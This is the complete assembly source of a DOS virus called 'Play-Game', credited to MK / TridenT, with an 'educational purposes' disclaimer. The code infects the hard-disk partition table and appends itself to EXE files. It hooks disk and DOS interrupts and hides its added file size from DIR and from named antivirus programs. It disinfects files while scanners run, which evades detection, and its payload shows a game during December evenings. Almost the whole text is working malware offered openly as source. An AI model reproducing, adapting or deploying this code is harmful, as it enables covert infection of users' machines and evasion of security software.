home *** CD-ROM | disk | FTP | other *** search
- ;------------------------------------------------------------------------------
- ; Play-Game VIRUS version 1
- ;
- ; Use TASM 2.01 to compile this source
- ; (other assemblers will probably not produce the same result)
- ;
- ; Disclaimer:
- ; This file is only for educational purposes. The author takes no
- ; responsibility for anything anyone does with this file. Do not
- ; modify this file!
- ;------------------------------------------------------------------------------
-
-
- .model tiny
- .RADIX 16
- .code
-
-
- VERSION equ 1
- FILELEN equ offset last - first ;Length of virus.
- VIRSEC equ (FILELEN+1FF)/200 ;Number of sectors for virus
- VIRKB equ (FILELEN+3FF+100)/400 ;Length in kB.
- SECLEN equ 200 ;length of a sector.
- STACKLEN equ 200 ;Wanted length of stack in
- ;infected file.
- STACKOFF equ ((FILELEN+SECLEN+STACKLEN+11)/2)*2 ;Stack offset in
- ;infected file.
- DATAPAR equ (SECLEN+STACKLEN+20)/10 ;Minimal extra memory to
- ;allocate for infected file
- ;(area to load part. table
- ;and room for stack).
- BUFLEN equ 1C ;Length of buffer.
- BOOTLEN equ boot_end - boot_begin ;Length of boot-routine.
-
-
- ;------------------------------------------------------------------------------
- ; Data area for virus.
- ;------------------------------------------------------------------------------
-
- org 00F0
-
- hook db ? ;Flag for hooking int21
- minibuf db (4) dup (?) ;Mini buffer for internal use.
-
-
- ;------------------------------------------------------------------------------
- ; Data area for game.
- ;------------------------------------------------------------------------------
-
- bombs db ? ;Number of bombs.
- pos db ? ;Position.
- oldpos db ? ;Previous position.
- level db ?
- kleur db ?
- timer db ?
- tijd dw ?
-
-
- ;------------------------------------------------------------------------------
- ; Begin of virus, installation in partition table of harddisk
- ;------------------------------------------------------------------------------
-
- org 0100
-
- first: db '[ MK / TridenT ]' ;Author + Group.
-
- call next
- next: pop si ;Get IP.
- sub si,13 ;Calculate relative offset.
- mov di,0100
- cld
-
- call push_all ;Save some registers.
-
- push cs ;Make DS and ES equal to CS.
- push cs
- pop ds
- pop es
-
- mov ah,30 ;Check if DOS version >= 4.0
- int 21
- cmp al,4
- jb not_install
-
- cmp ax,0DEADh ;Check if another TridenT
- je not_install ;(multi-partite) virus is
- ;resident.
-
- mov ax,0FE02 ;Check if Tequila virus
- int 21 ;is resident.
- cmp ax,01FDh
- je not_install
-
- mov ax,33E4 ;Check if virus is already
- int 21 ;resident.
- cmp ah,0A5
- je not_install
-
- call infect_part
-
- not_install: mov ah,2A ;Ask date.
- int 21
- cmp dh,12d ;december?
- jb dont_play
- mov ah,2C ;Ask time.
- int 21
- cmp ch,21d ;time > 21:00 ?
- jb dont_play
-
- mov ax,33E5 ;Play the game!
- int 21
-
- dont_play: call pop_all ;Restore registers.
-
- add si,offset buffer-100
- cmp byte ptr cs:[si],'M' ;Check if generation 0.
- je entryE
-
- int 20 ;It was a COM file (gen. 0).
-
- entryE: mov bx,ds ;Calculate CS.
- add bx,low 10
- mov cx,bx
- add bx,cs:[si+0E]
- cli ;Restore SS and SP.
- mov ss,bx
- mov sp,cs:[si+10]
- sti
- add cx,cs:[si+16]
- push cx ;Push new CS on stack.
- push cs:[si+14] ;Push new IP on stack.
- retf
-
-
- ;------------------------------------------------------------------------------
- ; Infect partition table sector
- ;------------------------------------------------------------------------------
-
- infect_part: lea bx,[si+last-100] ;Read partition table
- mov ax,0201 ;at end of virus.
- mov cx,1
- mov dx,80
- int 13
- jc not_infect_par
-
- cmp word ptr [bx],'KM' ;Check if already infected.
- je not_infect_par
-
- cmp word ptr [bx],05EA ;Check if infected with
- je not_infect_par ;Stoned or Michelangelo.
-
- lea di,[bx+01BE] ;Check partition info.
- mov bl,4
- check_part: cmp byte ptr [di+4],0 ;Skip if not a valid partition.
- je next_part
- cmp word ptr [di+0A],0 ;Enough room for virus?
- jne next_part
- cmp word ptr [di+8],VIRSEC+2
- jb not_infect_par ;Quit if not enough room.
- next_part: add di,10
- dec bl
- jnz check_part
-
- lea bx,[si+last-100] ;Save original partition table
- mov ax,0301 ;to sector 2.
- mov cx,2
- int 13
- jc not_infect_par
-
- lea bx,[si+first-100] ;Write the virus to sector 3.
- mov ax,0300+VIRSEC
- mov cx,3
- int 13
- jc not_infect_par
-
- lea di,[si+last-100] ;Infect part table.
- lea si,[si+boot_begin-100]
- mov bx,di
- mov cx,BOOTLEN
- rep movsb
-
- mov ax,0301 ;Write infected partition table
- mov cx,1 ;to sector 1.
- int 13
-
- not_infect_par: ret
-
-
- ;------------------------------------------------------------------------------
- ; Partition table routine
- ;------------------------------------------------------------------------------
-
- boot_begin: db 'MK' ;Signature (= DEC BP, DEC BX).
-
- cld ;Initialise segments + stack.
- cli
- xor ax,ax
- mov ds,ax
- mov ss,ax
- mov sp,7C00
- sti
-
- mov di,0400 ;Adjust memory size.
- mov ax,ds:[di+13]
- sub ax,VIRKB
- mov ds:[di+13],ax
-
- mov cl,6 ;Calculate segment for
- shl ax,cl ;resident virus.
- mov es,ax
-
- mov cx,BOOTLEN ;Copy virus to top.
- mov si,sp ;SP=7C00
- xor di,di
- rep movsb
-
- mov bx,offset here-offset boot_begin ;Jump to top.
- push es
- push bx
- retf
-
- here: mov ax,0200+VIRSEC ;Load complete virus.
- mov cx,3
- mov dx,0080
- mov bx,0100
- int 13
- jc load_part
-
- cli
- mov ax,offset ni13 ;Set new vector 13.
- xchg ds:[4*13],ax
- mov cs:[oi13],ax ;Save old vector 13.
- mov ax,es
- xchg ds:[4*13+2],ax
- mov cs:[oi13+2],ax
-
- les bx,ds:[4*21] ;Get original vector 21.
- mov cs:[oi21],bx
- mov cs:[oi21+2],es
- sti
-
- mov byte ptr cs:[hook],1 ;Turn on hook-flag.
-
- load_part: mov di,5
- push ds
- pop es
- part_loop: mov ax,0201 ;Load original part. sector.
- mov cx,2
- mov dx,0080
- mov bx,sp
- int 13
- jnc jump_part
-
- xor ax,ax ;Reset Drive
- int 13
- dec di
- jnz part_loop ;Try again.
- int 18 ;Error: activate ROM BASIC.
-
- jump_part: push ds ;Push next address.
- push bx
- retf
- boot_end:
-
-
- ;------------------------------------------------------------------------------
- ; Int 13 handler
- ;------------------------------------------------------------------------------
-
- ni13: cmp byte ptr cs:[hook],0 ;Is int 21 already hooked?
- je do_int13
-
- push ds
- push es
- push bx
- push ax
- cli
-
- xor ax,ax
- mov ds,ax
-
- les bx,ds:[4*21] ;Compare int 21 vector
- mov ax,es ;with saved old vector.
-
- cmp ax,800
- ja dont_hook
- cmp bx,cs:[oi21]
- jne hook_21
- cmp ax,cs:[oi21+2]
- je dont_hook
-
- hook_21: mov cs:[oi21],bx ;Save old vector 21.
- mov cs:[oi21+2],ax
-
- mov ds:[4*21],offset ni21 ;Set new vector 21.
- mov ds:[4*21+2],cs
-
- mov byte ptr cs:[hook],0 ;Don't hook int 21 anymore.
-
- dont_hook: sti
- pop ax
- pop bx
- pop es
- pop ds
-
-
- do_int13: cmp cx,1 ;Check if part. table
- jne orgint13 ;is read or written.
- cmp dx,80
- jne orgint13
- cmp ah,2
- jb orgint13
- cmp ah,3
- ja orgint13
- or al,al
- jz orgint13
-
- push cx
- dec al
- jz nothing_left
- push ax ;Do original function
- push bx
- add bx,0200
- inc cx
- pushf
- call dword ptr cs:[oi13]
- pop bx
- pop ax
-
- nothing_left: mov al,1 ;Read/write redirected
- mov cx,2 ;partition table.
- pushf
- call dword ptr cs:[oi13]
- pop cx
- retf 2
-
-
- orgint13: db 0EA
- oi13 dw 0, 0 ;Original int 13 vector.
-
-
- ;------------------------------------------------------------------------------
- ; Interupt 21 handler
- ;------------------------------------------------------------------------------
-
- ni21: pushf
-
- cmp ax,33E4 ;Installation-check ?
- jne not_ic
- mov ax,0A500+VERSION ;Yes? Return a signature.
- popf
- iret
-
- not_ic: cmp ax,33E5 ;Play game ?
- jne not_pg
- call play_game
- popf
- iret
-
- not_pg: call push_all ;Check if interupt came from
- call getname ;a program that may not see
- mov dx,offset namesHI ;true length of infected file
- mov cx,2+11d ;(AV program or 'DIR').
- call checknames
- call pop_all
- jne no_hide
-
- cmp ah,11 ;Findfirst/findnext FCB?
- je its_11_12
- cmp ah,12
- jne not_11_12
- its_11_12: popf
- call findFCB
- retf 2
-
- not_11_12: cmp ah,4E ;Findfirst/findnext handle?
- je its_4E_4F
- cmp ah,4F
- jne no_hide
- its_4E_4F: popf
- call findhndl
- retf 2
-
-
- no_hide: call push_all ;Save registers.
-
- cmp ax,6C00 ;Open from DOS 4.0+ ?
- jne not_6C00
- call f_open2
- jmp short exit
-
- not_6C00: cmp ah,3Dh ;File open?
- jne not_3D
- call f_open
- jmp short exit
-
- not_3D: cmp ah,3E ;File close?
- jne not_3E
- call f_close
- jmp short exit
-
- not_3E: cmp ax,4B00 ;Program execute?
- jne exit
- call f_execute
-
- exit: call pop_all ;Restore registers.
-
- popf
-
- db 0EA ;Original int 21.
- oi21 dw 0, 0
-
-
- ;------------------------------------------------------------------------------
- ; Interupt 24 handler
- ;------------------------------------------------------------------------------
-
- ni24: mov al,3 ;To avoid 'Abort, Retry, ...'
- iret
-
-
- ;------------------------------------------------------------------------------
- ; Call original int21
- ;------------------------------------------------------------------------------
-
- DOS: pushf
- call dword ptr cs:[oi21]
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Hide the virus from filelength
- ;------------------------------------------------------------------------------
-
- findFCB: call DOS ;Call original function.
- or al,al
- jne ret1
- pushf
- push bx
- push ax
- push es
- mov ah,2F ;Ask DTA adres.
- call DOS
- cmp byte ptr es:[bx],0FF ;Extended FCB?
- jne vv1
- add bx,7
- vv1: mov al,byte ptr es:[bx+17] ;Check if infected
- and al,1Fh ;(seconds=62).
- cmp al,1Fh
- jne dont_hide
- sub word ptr es:[bx+1Dh],FILELEN ;Hide virus length.
- sbb word ptr es:[bx+1F],0
- dec bx
- jmp short hide_time
-
-
- findhndl: call DOS ;Call original function.
- jc ret1
- pushf
- push bx
- push ax
- push es
- mov ah,2F ;ask DTA adres
- call DOS
- mov al,byte ptr es:[bx+16] ;Check if infected.
- and al,1Fh
- cmp al,1Fh
- jne dont_hide
- sub word ptr es:[bx+1A],FILELEN ;Hide virus length.
- sbb word ptr es:[bx+1C],0
- hide_time: and byte ptr es:[bx+16],0EFh ;Also hide seconds.
- dont_hide: pop es
- pop ax
- pop bx
- popf
- ret1: ret
-
-
- ;------------------------------------------------------------------------------
- ; Try to infect or disinfect the file
- ;------------------------------------------------------------------------------
-
- f_close: cmp bx,5 ;Is handle >= 5?
- jb ret1 ;Quit if not.
- mov ah,45 ;Duplicate handle
- jmp short doit
-
- f_execute: mov ah,3Dh ;Open file
- doit: call DOS
- jc ret1
- xchg ax,bx
- mov bp,1 ;Flag for infect.
- jmp short get_ctrlbrk
-
-
- f_open2: mov dx,si ;Use 'normal' open function
- mov ah,3Dh ;instead of 6C00 function.
- f_open: call DOS
- jc ret1
- xchg ax,bx
- xor bp,bp ;Flag for disinfect.
-
-
- get_ctrlbrk: cld
-
- mov ax,3300 ;Get ctrl-break flag.
- call DOS
- push dx
-
- cwd ;Disable Ctrl-break.
- inc ax
- push ax
- call DOS
-
- mov dx,bx
- mov ax,3524 ;Get int24 vector.
- call DOS
- push bx
- push es
- mov bx,dx
-
- push cs
- pop ds
-
- mov dx,offset ni24 ;Install new int24 handler.
- mov ah,25
- push ax
- call DOS
-
- mov ax,1220 ;Get pointer to file table
- push bx
- int 2F
- mov bl,es:[di]
- mov al,16 ;(Avoid [512] signature...)
- mov ah,12
- int 2F
- pop bx ;ES:DI -> file table
-
- push es
- pop ds
-
- push [di+2] ;Save attribute & open-mode.
- push [di+4]
-
- cmp word ptr [di+28],'XE' ;Check if extension is .EXE
- jne close1
- cmp byte ptr [di+2A],'E'
- jne close1
-
- ; cmp word ptr [di+20],'XX' ;Check if name is 'XX*.EXE'
- ; jne close1 ;(only for test purposes).
-
- test bp,bp ;Infect or disinfect?
- jz check_disinf
-
- mov ax,word ptr [di+20] ;Check if file may be infected.
- mov dx,offset namesSC
- mov cx,11d+4
- call checknames
- je close1
- jmp short go_on
-
- check_disinf: call getname ;Check if file must be
- mov dx,offset namesSC ;disinfected (only if an
- mov cx,11d ;AV program is active).
- call checknames
- jne close1
-
- go_on: mov byte ptr [di+2],2 ;Open file for both read/write.
- mov byte ptr [di+4],0 ;Clear attributes
- call gotobegin
- push ax ;Save old file offset
- push dx
-
- push cs
- pop ds
-
- mov cx,BUFLEN ;Read begin of file
- mov si,offset buffer ;into buffer.
- mov dx,si
- call read
-
- call checkfile ;Check if file is OK to infect
- jc close2 ;or disinfect.
-
- mov ax,word ptr [si+12] ;Already infected?
- add al,ah
- cmp al,'#'
- je is_infected
-
- test bp,bp ;Must it be infected?
- jz close2
-
- call do_infect
-
- is_infected: test bp,bp ;Must it be disinfected?
- jnz close2
-
- call do_disinfect
-
- close2: push es
- pop ds
-
- pop dx ;Restore file offset.
- pop ax
- call goto
- or byte ptr [di+6],40 ;Don't change file-time.
-
- close1: mov ah,3E ;Close the file.
- call DOS
-
- or byte ptr [di+5],40 ;No EOF on next close.
- pop [di+4] ;Restore attribute & open-mode.
- pop [di+2]
-
- pop ax ;Restore int 24 vector.
- pop ds
- pop dx
- call DOS
-
- pop ax ;Restore ctrl-break flag.
- pop dx
- call DOS
-
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Special filenames
- ;------------------------------------------------------------------------------
-
- namesHI db 'CO', '4D' ;COMMAND.COM and 4DOS.
- namesSC db 'SC', 'CL', 'VS', 'NE' ;AV programs.
- db 'HT', 'TB', 'VI', 'F-'
- db 'FI', 'GI', 'IM'
- namesCH db 'RA', 'FE', 'MT', 'BR' ;Some self-checking
- ;programs.
-
- ;------------------------------------------------------------------------------
- ; Check the file
- ;------------------------------------------------------------------------------
-
- checkfile: cmp word ptr [si],'ZM' ;Is it a normal EXE ?
- jne not_good
-
- cmp word ptr [si+18],40 ;Check if it is a windows/OS2
- jb not_win ;EXE file.
-
- mov ax,003C ;Read pointer to NE header.
- cwd
- call readbytes
- jc not_good
-
- mov ax,word ptr [si+BUFLEN] ;Read NE header.
- mov dx,word ptr [si+BUFLEN+2]
- call readbytes
- jc not_good
-
- cmp byte ptr [si+BUFLEN+1],'E' ;Quit if it is a NE
- je not_good ;header.
-
- not_win: call getlen
- call calclen ;Check for internal overlays.
- cmp word ptr [si+4],ax
- jne not_good
- cmp word ptr [si+2],dx
- jne not_good
-
- cmp word ptr [si+0C],0 ;High memory allocation?
- je not_good
-
- cmp word ptr [si+1A],0 ;Overlay nr. not zero?
- jne not_good
-
- clc ;File is OK.
- ret
-
- not_good: stc ;File is not OK.
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Write virus to the program
- ;------------------------------------------------------------------------------
-
- do_infect: call getlen ;Go to end of file.
- call goto
-
- mov dx,0100 ;Write virus.
- mov cx,FILELEN
- call write
- cmp ax,cx ;Are all bytes written?
- jne not_infect
-
- call getoldlen ;Calculate new CS & IP.
- mov cx,0010
- div cx
- sub ax,word ptr [si+8]
- add dx,low 10
-
- mov word ptr [si+16],ax ;Put CS in header.
- mov word ptr [si+0E],ax ;Put SS in header.
- mov word ptr [si+14],dx ;Put IP in header.
- mov word ptr [si+10],STACKOFF ;Put SP in header.
-
- call getlen ;Put new length in header.
- call calclen
- mov word ptr [si+4],ax
- mov word ptr [si+2],dx
-
- push di
- lea di,[si+0A] ;Adjust mem. allocation info.
- call mem_adjust
- lea di,[si+0C]
- call mem_adjust
- pop di
-
- call gotobegin ;Write new begin of file.
- in al,40
- mov ah,'#'
- sub ah,al
- mov word ptr [si+12],ax
- mov cx,BUFLEN
- mov dx,si
- call write
-
- or byte ptr es:[di+0Dh],1F ;set filetime to 62 sec.
-
- not_infect: ret
-
-
- ;------------------------------------------------------------------------------
- ; Disinfect the program
- ;------------------------------------------------------------------------------
-
- do_disinfect: call getoldlen ;Go to original end of file
- add ax,(offset buffer-100)
- adc dx,0
- call goto ;Go to buffer in virus.
-
- mov dx,si ;Read buffer.
- mov cx,BUFLEN
- call read
-
- cmp word ptr [si],'ZM' ;Is there an EXE header
- jne not_disinfect ;in the buffer?
-
- call gotobegin ;Write the buffer to
- mov dx,si ;begin of file.
- mov cx,BUFLEN
- call write
-
- call getoldlen ;Restore original length
- mov es:[di+11],ax ;of file.
- mov es:[di+13],dx
-
- and byte ptr es:[di+0Dh],0E0 ;Seconds = 0.
-
- not_disinfect: ret
-
-
- ;------------------------------------------------------------------------------
- ; Get name of current process
- ;------------------------------------------------------------------------------
-
- getname: push ds
- push bx
-
- mov ah,62 ;Get PSP address.
- call DOS
- dec bx
- mov ds,bx
- mov ax,ds:[0008] ;Get first 2 characters
- ;of current process name.
- pop bx
- pop ds
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Check names
- ;------------------------------------------------------------------------------
-
- checknames: push di
- push es
-
- push cs ;Search name in list CS:DX
- pop es
- mov di,dx
- repnz scasw
-
- pop es
- pop di
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Calculate length for EXE header
- ;------------------------------------------------------------------------------
-
- calclen: mov cx,0200 ;Divide by 200h
- div cx
- or dx,dx ;Correction?
- jz no_cor
- inc ax
- no_cor: ret
-
-
- ;------------------------------------------------------------------------------
- ; Adjust mem allocation info in EXE header
- ;------------------------------------------------------------------------------
-
- mem_adjust: cmp word ptr [di],DATAPAR ;Enough memory allocated?
- jnb mem_ok
- mov word ptr [di],DATAPAR ;Minimum amount to allocate.
- mem_ok: ret
-
-
- ;------------------------------------------------------------------------------
- ; Read a few bytes
- ;------------------------------------------------------------------------------
-
- readbytes: call goto ;Go to DX:AX and read 4 bytes
- mov dx,offset minibuf ;from that location into
- mov cx,4 ;mini-buffer.
- read: mov ah,3F
- call DOS
- ret
-
- write: mov ah,40 ;Write function.
- call DOS
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Get original length of program
- ;------------------------------------------------------------------------------
-
- getoldlen: call getlen
- sub ax,FILELEN
- sbb dx,0
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Get length of program
- ;------------------------------------------------------------------------------
-
- getlen: mov ax,es:[di+11]
- mov dx,es:[di+13]
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Goto new offset DX:AX
- ;------------------------------------------------------------------------------
-
- gotobegin: xor ax,ax
- cwd
- goto: xchg ax,es:[di+15]
- xchg dx,es:[di+17]
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Push all registers on stack
- ;------------------------------------------------------------------------------
-
- push_all: push ax
- push bx
- push cx
- push dx
- push si
- push di
- push bp
- push ds
- push es
- mov bp,sp
- jmp [bp+12]
-
-
- ;------------------------------------------------------------------------------
- ; Pop all registers from stack
- ;------------------------------------------------------------------------------
-
- pop_all: pop ax
- mov bp,sp
- mov [bp+12],ax
- pop es
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Game
- ;------------------------------------------------------------------------------
-
- play_game: call rnd_init ;Initialize random number
- ;generator.
- mov ah,0F ;Get video mode.
- int 10
-
- xor ah,ah ;Clear screen and set to
- push ax ;40 column mode.
- mov al,1
- int 10
-
- mov ah,3 ;Clear cursor.
- int 10
- push cx
- mov ah,1
- xor cx,cx
- int 10
-
- start_game: push cs
- push cs
- pop ds
- pop es
-
- xor al,al ;Clear screen
- call scroll_screen
-
- mov si,offset orgvalues ;Initialize parameters.
- mov di,offset bombs
- movsw
- xor ax,ax
- stosw
- stosw
- stosw
-
- mov dx,0B800 ;ES points to screen memory.
- mov es,dx
-
- mov si,offset beginmess ;Print first message.
- mov di,40d*2*5+20d
- mov cx,12d
- call print_it2
-
- mov di,40d*2*9+4
- mov cl,20d
- call print_it2
-
- mov di,40d*2*20d+24d
- mov cl,16d
- call print_it
-
- call wachttoets ;Wait for keypress or timeout.
-
- xor al,al ;Clear screen.
- call scroll_screen
-
- main_lup: mov al,byte ptr [oldpos] ;Clear old position.
- call gotopos
- mov ax,0700
- stosw
-
- mov al,byte ptr [pos]
- mov byte ptr [oldpos],al
-
- mov al,1 ;Scroll screen up.
- call scroll_screen
-
- mov al,byte ptr [pos] ;Goto current position.
- call gotopos
- mov al,es:[di] ;Hit a block?
- cmp al,0FE
- mov ax,0E02 ;Print smily face.
- stosw
- je stop_game
-
- call print_bombs ;Print a number of bombs.
-
- call wacht
-
- in al,61 ;Make 'click' sound.
- push ax
- or al,3
- out 61,al
-
- call check_key ;Check for shift keys.
-
- pop ax ;Turn 'click' off
- out 61,al
-
- inc byte ptr [timer] ;Check timer.
- mov al,byte ptr [timer]
- and al,7F
- jnz not_zero
- inc byte ptr [kleur] ;Change color and number of
- inc byte ptr [bombs] ;bombs every 128th row.
-
- not_zero: cmp al,12d
- jne main_lup
-
- inc byte ptr [level] ;Increase level as soon as
- cmp byte ptr [level],9 ;new color has reached.
- jb main_lup ;position. Maximum is 9.
-
-
- stop_game: mov ax,0E07 ;Beep!
- int 10
-
- mov si,offset endmess ;Print message 'You reached..'.
- mov di,40d*2*24d
- mov cx,18d
- call print_it
-
- mov al,byte ptr [level] ;Print reached level.
- add al,30
- stosw
-
- add di,20d ;Print message 'Play again?'.
- mov cl,11d
- call print_it
-
-
- call wachttoets ;Wait for key or timeout.
- jz stop_echt
- or al,20
- cmp al,'y' ;Play again if 'Y' was
- jne stop_echt ;pressed.
- jmp start_game
-
- stop_echt: pop cx
- mov ah,1
- int 10
-
- pop ax ;clear screen
- int 10
-
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Print CX characters from DS:SI to ES:DI
- ;------------------------------------------------------------------------------
-
- print_it: lodsb
- mov ah,7
- stosw
- loop print_it
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Print CX characters from DS:SI to ES:DI (wide)
- ;------------------------------------------------------------------------------
-
- print_it2: lodsb
- mov ah,7
- stosw
- mov al,20
- stosw
- loop print_it2
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Go to position on screen.
- ;------------------------------------------------------------------------------
-
- gotopos: cbw
- shl ax,1
- mov di,40d*2*12d
- add di,ax
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Scroll the screen up AL rows
- ;------------------------------------------------------------------------------
-
- scroll_screen: push bx
- mov ah,06
- mov bh,7
- mov cx,0
- mov dx,(25d-1)*100+(40d-1)
- int 10
- pop bx
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Print some bombs at bottom row.
- ;------------------------------------------------------------------------------
-
- print_bombs: mov cl,byte ptr [bombs] ;Number of bombs.
- xor ch,ch
- bomb_lup: call rnd_get ;Calculate position.
- cmp al,(40d-1)
- ja bomb_lup
- cbw
- shl ax,1
- mov di,40d*2*(25d-1)
- add di,ax
- mov al,byte ptr [kleur] ;Calculate color.
- mov bx,offset colors
- xlat
- xchg ah,al
- mov al,0FE ;Print bomb.
- stosw
- loop bomb_lup
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Wait a short time.
- ;------------------------------------------------------------------------------
-
- wacht: mov dx,word ptr [tijd]
- add dx,2
- xor ax,ax
- mov ds,ax
- time_lup: mov ax,ds:[046C] ;Get current time.
- cmp ax,dx
- jb time_lup
-
- push cs
- pop ds
- mov word ptr [tijd],ax
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Wait for timeout or keypress.
- ;------------------------------------------------------------------------------
-
- wachttoets: mov ah,1 ;Empty keyboard buffer.
- int 16
- jz now_empty
- xor ah,ah
- int 16
- jmp short wachttoets
-
- now_empty: xor ax,ax
- mov ds,ax
- mov dx,ds:[046C]
- add dx,18d*8
- wt_lup: mov ah,1 ;Check key.
- int 16
- jnz stop_waiting
- mov ax,ds:[046C] ;Check time.
- cmp ax,dx
- jb wt_lup
-
- stop_waiting: push cs
- pop ds
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Check if shift key's are pressed.
- ;------------------------------------------------------------------------------
-
- check_key: mov ah,2
- int 16
-
- test al,1
- jz not_right
- cmp byte ptr [pos],(40d-1)
- je not_right
- inc byte ptr [pos]
- ret
-
- not_right: test al,2
- jz no_key
- cmp byte ptr [pos],0
- je no_key
- dec byte ptr [pos]
- no_key: ret
-
-
- ;------------------------------------------------------------------------------
- ; Random number generator.
- ;------------------------------------------------------------------------------
-
- rnd_init: push ax
- push cx
- call rnd_init0 ;init
- and ax,000F
- inc ax
- xchg ax,cx
- random_lup: call rnd_get ;call random routine a few
- loop random_lup ; times to 'warm up'
- pop cx
- pop ax
- ret
-
- rnd_init0: push dx ;initialize generator
- push cx
- push ds
- xor ax,ax
- mov ds,ax
- in al,40
- mov ah,al
- in al,40
- xor ax,word ptr ds:[041E]
- mov dx,word ptr ds:[046C]
- xor dx,ax
- pop ds
- jmp short move_rnd
-
- nonzero_get: call rnd_get
- or ax,ax
- jz nonzero_get
- ret
-
- rnd_get: push dx ;calculate a random number
- push cx
- push bx
- in al,40
- values: add ax,0 ;will be: mov ax,xxxx
- mov dx,0 ; and mov dx,xxxx
- mov cx,7
- rnd_lup: shl ax,1
- rcl dx,1
- mov bl,al
- xor bl,dh
- jns rnd_l2
- inc al
- rnd_l2: loop rnd_lup
- pop bx
-
- move_rnd: push si
- call me
- me: pop si
- mov word ptr cs:[si+(offset values-offset me)+1],ax
- mov word ptr cs:[si+(offset values-offset me)+4],dx
- pop si
- mov al,dl
- pop cx
- pop dx
- ret
-
-
- ;------------------------------------------------------------------------------
- ; Data
- ;------------------------------------------------------------------------------
-
- beginmess db 'HAPPY VIRUS '
- db 'Time to play a game '
- db '(Use shift keys)'
-
-
- endmess db 'You reached level '
- db 'Play again?'
-
- colors db 4, 5, 1, 3, 0C, 0Dh, 9, 0Bh, 0
-
-
- orgvalues db 3, (40d/2)
-
- buffer db (BUFLEN) dup ('#') ;Buffer for orig. EXE header.
-
-
- last:
- end first
-